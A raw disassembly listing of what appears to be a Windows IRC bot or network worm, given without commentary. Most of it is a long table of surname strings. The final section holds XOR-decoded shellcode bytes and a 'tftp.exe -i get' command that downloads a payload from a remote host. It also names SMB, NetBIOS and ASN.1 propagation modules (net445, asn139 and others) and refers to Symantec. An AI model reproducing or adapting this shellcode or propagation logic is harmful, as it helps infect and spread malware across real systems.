aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB20o
align 10h
aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB1Co
align 4
aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB18o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB14o
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB10o
aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB0Co
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB08o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DB04o
align 10h
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DB00o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAFCo
aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF8o
align 10h
aEdner db 'Edner',0 ; DATA XREF: ___:0042DAF4o
align 4
aEdley db 'Edley',0 ; DATA XREF: ___:0042DAF0o
align 10h
aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAECo
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE8o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042DAE4o
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAE0o
align 10h
aDussault db 'Dussault',0 ; DATA XREF: ___:0042DADCo
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD8o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DAD4o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAD0o
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DACCo
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC8o
align 4
aDoug db 'Doug',0 ; DATA XREF: ___:0042DAC4o
align 10h
aDoty db 'Doty',0 ; DATA XREF: ___:0042DAC0o
align 4
aDosi db 'Dosi',0 ; DATA XREF: ___:0042DABCo
align 10h
aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB8o
align 4
aDore db 'Dore',0 ; DATA XREF: ___:0042DAB4o
align 10h
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAB0o
align 4
aDonner db 'Donner',0 ; DATA XREF: ___:0042DAACo
align 10h
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA8o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DAA4o
aDockery db 'Dockery',0 ; DATA XREF: ___:0042DAA0o
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA9Co
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA98o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA94o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA90o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA8Co
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA88o
align 4
aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA84o
align 10h
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA80o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA7Co
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA78o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042DA74o
aDenham db 'Denham',0 ; DATA XREF: ___:0042DA70o
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042DA6Co
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA68o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA64o
align 4
aDeming db 'Deming',0 ; DATA XREF: ___:0042DA60o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA5Co
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042DA58o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA54o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA50o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA4Co
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042DA48o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA44o
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA40o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA3Co
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA38o
align 10h
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA34o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA30o
aDavid db 'David',0 ; DATA XREF: ___:0042DA2Co
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA28o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA24o
align 10h
aDas db 'Das',0 ; DATA XREF: ___:0042DA20o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA1Co
aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA18o
align 4
aDante db 'Dante',0 ; DATA XREF: ___:0042DA14o
align 10h
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA10o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA0Co
aDaly db 'Daly',0 ; DATA XREF: ___:0042DA08o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DA04o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DA00o
aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9FCo
align 4
aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F8o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9F4o
align 4
aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9F0o
aCui db 'Cui',0 ; DATA XREF: ___:0042D9ECo
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E8o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9E4o
align 10h
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9E0o
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9DCo
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D8o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9D4o
aCounter db 'Counter',0 ; DATA XREF: ___:0042D9D0o
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9CCo
align 4
aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C8o
aCorey db 'Corey',0 ; DATA XREF: ___:0042D9C4o
align 4
aConnors db 'Connors',0 ; DATA XREF: ___:0042D9C0o
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9BCo
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B8o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9B4o
align 10h
aCompton db 'Compton',0 ; DATA XREF: ___:0042D9ACo
; ___:0042D9B0o
aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A8o
align 10h
aCollard db 'Collard',0 ; DATA XREF: ___:0042D9A4o
aColella db 'Colella',0 ; DATA XREF: ___:0042D9A0o
aColdren db 'Coldren',0 ; DATA XREF: ___:0042D99Co
aCoito db 'Coito',0 ; DATA XREF: ___:0042D998o
align 10h
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D994o
aClow db 'Clow',0 ; DATA XREF: ___:0042D990o
align 10h
aClifton db 'Clifton',0 ; DATA XREF: ___:0042D98Co
aClement db 'Clement',0 ; DATA XREF: ___:0042D988o
aClark db 'Clark',0 ; DATA XREF: ___:0042D984o
align 4
aClancy db 'Clancy',0 ; DATA XREF: ___:0042D980o
align 10h
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D97Co
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D978o
align 4
aCicero db 'Cicero',0 ; DATA XREF: ___:0042D974o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D970o
align 4
aChurch db 'Church',0 ; DATA XREF: ___:0042D96Co
align 10h
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D968o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042D964o
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D960o
aChristie db 'Christie',0 ; DATA XREF: ___:0042D95Co
align 4
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D958o
align 4
aChristian db 'Christian',0 ; DATA XREF: ___:0042D954o
align 10h
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D950o
aChinman db 'Chinman',0 ; DATA XREF: ___:0042D94Co
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D948o
aChilds db 'Childs',0 ; DATA XREF: ___:0042D944o
align 4
aChildress db 'Childress',0 ; DATA XREF: ___:0042D940o
align 4
aChien db 'Chien',0 ; DATA XREF: ___:0042D93Co
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D938o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D934o
align 4
aCherry db 'Cherry',0 ; DATA XREF: ___:0042D930o
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042D92Co
align 4
aCharles db 'Charles',0 ; DATA XREF: ___:0042D928o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042D924o
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D920o
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D91Co
align 4
aCavell db 'Cavell',0 ; DATA XREF: ___:0042D918o
align 10h
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D914o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D910o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D90Co
align 10h
aCase db 'Case',0 ; DATA XREF: ___:0042D908o
align 4
aCascio db 'Cascio',0 ; DATA XREF: ___:0042D904o
align 10h
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D900o
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042D8FCo
align 4
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F8o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8F4o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8F0o
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8ECo
align 4
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E8o
align 10h
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8E4o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8E0o
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8DCo
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D8o
align 10h
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8D4o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8D0o
align 4
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8CCo
align 4
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C8o
aCanley db 'Canley',0 ; DATA XREF: ___:0042D8C4o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8C0o
align 10h
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8BCo
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B8o
align 4
aCage db 'Cage',0 ; DATA XREF: ___:0042D8B4o
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8B0o
align 4
aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8ACo
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A8o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D8A4o
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D8A0o
align 4
aBurke db 'Burke',0 ; DATA XREF: ___:0042D89Co
align 10h
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D898o
align 4
aBurden db 'Burden',0 ; DATA XREF: ___:0042D894o
align 10h
aBunton db 'Bunton',0 ; DATA XREF: ___:0042D890o
align 4
aBullard db 'Bullard',0 ; DATA XREF: ___:0042D88Co
aBudding db 'Budding',0 ; DATA XREF: ___:0042D888o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D884o
align 10h
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D880o
aBrook db 'Brook',0 ; DATA XREF: ___:0042D87Co
align 10h
aBroca db 'Broca',0 ; DATA XREF: ___:0042D878o
align 4
aBritz db 'Britz',0 ; DATA XREF: ___:0042D874o
align 10h
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D870o
aBridges db 'Bridges',0 ; DATA XREF: ___:0042D86Co
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D868o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D860o
; ___:0042D864o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D85Co
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D858o
align 4
aBreed db 'Breed',0 ; DATA XREF: ___:0042D854o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D850o
align 4
aBradach db 'Bradach',0 ; DATA XREF: ___:0042D84Co
aBradac db 'Bradac',0 ; DATA XREF: ___:0042D848o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D844o
align 10h
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D840o
align 4
aBoym db 'Boym',0 ; DATA XREF: ___:0042D83Co
align 10h
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D838o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D834o
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D830o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D82Co
align 4
aBowers db 'Bowers',0 ; DATA XREF: ___:0042D828o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D824o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D820o
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D81Co
align 4
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D818o
align 10h
aBothman db 'Bothman',0 ; DATA XREF: ___:0042D814o
aBossi db 'Bossi',0 ; DATA XREF: ___:0042D810o
align 10h
aBorden db 'Borden',0 ; DATA XREF: ___:0042D80Co
align 4
aBorack db 'Borack',0 ; DATA XREF: ___:0042D808o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D804o
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042D800o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7FCo
align 10h
aBook db 'Book',0 ; DATA XREF: ___:0042D7F8o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7F4o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7F0o
align 10h
aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7ECo
align 4
aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E8o
align 10h
aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7E4o
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7E0o
align 4
aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7DCo
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D8o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7D4o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7D0o
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7CCo
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C8o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7C4o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7C0o
aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7BCo
align 4
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B8o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7B4o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7B0o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7ACo
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A8o
align 4
aBisho db 'Bisho',0 ; DATA XREF: ___:0042D7A4o
align 10h
aBisema db 'Bisema',0 ; DATA XREF: ___:0042D7A0o
align 4
aBir db 'Bir',0 ; DATA XREF: ___:0042D79Co
aBinion db 'Binion',0 ; DATA XREF: ___:0042D798o
align 4
aBickel db 'Bickel',0 ; DATA XREF: ___:0042D794o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D790o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D78Co
aBetti db 'Betti',0 ; DATA XREF: ___:0042D788o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D784o
align 4
aBernston db 'Bernston',0 ; DATA XREF: ___:0042D780o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D77Co
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D778o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D774o
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042D770o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D76Co
align 4
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D768o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042D764o
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D760o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D75Co
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D758o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D754o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D750o
align 10h
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D74Co
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D748o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042D744o
aBeder db 'Beder',0 ; DATA XREF: ___:0042D740o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D73Co
aBean db 'Bean',0 ; DATA XREF: ___:0042D738o
align 4
aBeal db 'Beal',0 ; DATA XREF: ___:0042D734o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D730o
align 4
aBayo db 'Bayo',0 ; DATA XREF: ___:0042D72Co
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042D728o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D724o
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D720o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D71Co
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D718o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D714o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D710o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D70Co
aBarry db 'Barry',0 ; DATA XREF: ___:0042D708o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D704o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D700o
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6FCo
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F8o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6F4o
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6F0o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6ECo
align 4
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E8o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6E4o
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042D6E0o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6DCo
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D8o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6D4o
align 10h
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6D0o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6CCo
align 4
aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C8o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6C4o
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6C0o
aBady db 'Bady',0 ; DATA XREF: ___:0042D6BCo
align 4
aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B8o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6B4o
align 4
aAzima db 'Azima',0 ; DATA XREF: ___:0042D6B0o
align 10h
aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6ACo
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A8o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D6A4o
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D6A0o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D69Co
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D698o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D694o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D690o
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042D68Co
align 4
aArjas db 'Arjas',0 ; DATA XREF: ___:0042D688o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D684o
align 4
aArellano db 'Arellano',0 ; DATA XREF: ___:0042D680o
align 4
aArduini db 'Arduini',0 ; DATA XREF: ___:0042D67Co
aArbia db 'Arbia',0 ; DATA XREF: ___:0042D678o
align 4
aAntos db 'Antos',0 ; DATA XREF: ___:0042D674o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D670o
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D66Co
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D668o
align 4
aAndron db 'Andron',0 ; DATA XREF: ___:0042D664o
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D660o
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042D65Co
align 4
aAndel db 'Andel',0 ; DATA XREF: ___:0042D658o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042D654o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D650o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D64Co
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D648o
align 10h
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D644o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D640o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D63Co
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D638o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D634o
align 4
aAllison db 'Allison',0 ; DATA XREF: ___:0042D630o
aAleks db 'Aleks',0 ; DATA XREF: ___:0042D62Co
align 4
aAlda db 'Alda',0 ; DATA XREF: ___:0042D628o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D624o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D620o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D61Co
align 4
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D618o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D614o
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D610o
align 10h
aAddison db 'Addison',0 ; DATA XREF: ___:off_42D60Co
aAdams db 'Adams',0 ; DATA XREF: ___:0042D608o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D604o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D600o
align 4
byte_431258 db 50h ; DATA XREF: ___:0040ADEFo
; ___:0040ADFCr
db 43h, 2 dup(0)
dword_43125C dd 7C7325h ; DATA XREF: ___:0040AE9Ao
dword_431260 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o
dword_431268 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo
; sub_41AA42:loc_41AB05o
dword_43126C dd 334B32h ; DATA XREF: ___:0040AF94o
dword_431270 dd 5058h ; DATA XREF: ___:0040AF86o
; sub_41AA42+AAo
dword_431274 dd 4B32h ; DATA XREF: ___:0040AF76o
; sub_41AA42+98o
dword_431278 dd 454Dh ; DATA XREF: ___:0040AF5Do
; sub_41AA42+7Eo
dword_43127C dd 3839h ; DATA XREF: ___:0040AF4Do
; sub_41AA42+6Co
dword_431280 dd 544Eh ; DATA XREF: ___:0040AF3Do
; sub_41AA42+5Ao
dword_431284 dd 3539h ; DATA XREF: ___:0040AF2Fo
; sub_41AA42+46o
dword_431288 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao
dword_431290 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co
; sub_40AFEA+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o
; sub_418211+5o
align 4
jmp short loc_4312A0
; ---------------------------------------------------------------------------
loc_43129E: ; CODE XREF: ___:loc_4312A0p
jmp short loc_4312A5
; ---------------------------------------------------------------------------
loc_4312A0: ; CODE XREF: ___:0043129Cj
call loc_43129E
loc_4312A5: ; CODE XREF: ___:loc_43129Ej
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_4312AC: ; CODE XREF: ___:004312B1j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_4312AC
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_4312C2: ; CODE XREF: ___:004312C7j
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_4312C2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_431364
jnz short loc_431350
retn
; ---------------------------------------------------------------------------
loc_431350: ; CODE XREF: ___:0043134Dj
; ___:0043135Dj
call near ptr loc_431355+1
loc_431355: ; CODE XREF: ___:loc_431350p
add [edx+0], ch
call sub_431364
jz loc_431350
retn
; =============== S U B R O U T I N E =======================================
sub_431364 proc near ; CODE XREF: ___:00431348p
; ___:00431358p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_431364 endp
; ---------------------------------------------------------------------------
align 10h
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
align 8
aSym db 'sym',0 ; DATA XREF: sub_40C124+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o
align 4
dd 5 dup(0)
dword_431410 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r
; sub_401ACD+1DC9o ...
off_431414 dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr
dword_431418 dd 0 ; DATA XREF: sub_40B64A+2Eo
; ___:0040D495w ...
dword_43141C dd 1 ; DATA XREF: sub_40BACD+1Fr
dword_431420 dd 1 ; DATA XREF: sub_40BACD+3B3r
dword_431424 dd 0 ; DATA XREF: sub_40BACD+292r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40E206h, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 10h
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DF8Eh, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 10h
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DF8Eh, 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 10h
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h, 40D2D9h, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 10h
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D2D9h, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 10h
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D2D9h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 10h
db 2 dup(0)
byte_4315F2 db 1 ; DATA XREF: sub_401ACD:loc_4037E6r
; sub_401ACD+1D23o
db 73h
dd 6D79h, 0
dd 100h, 3 dup(0)
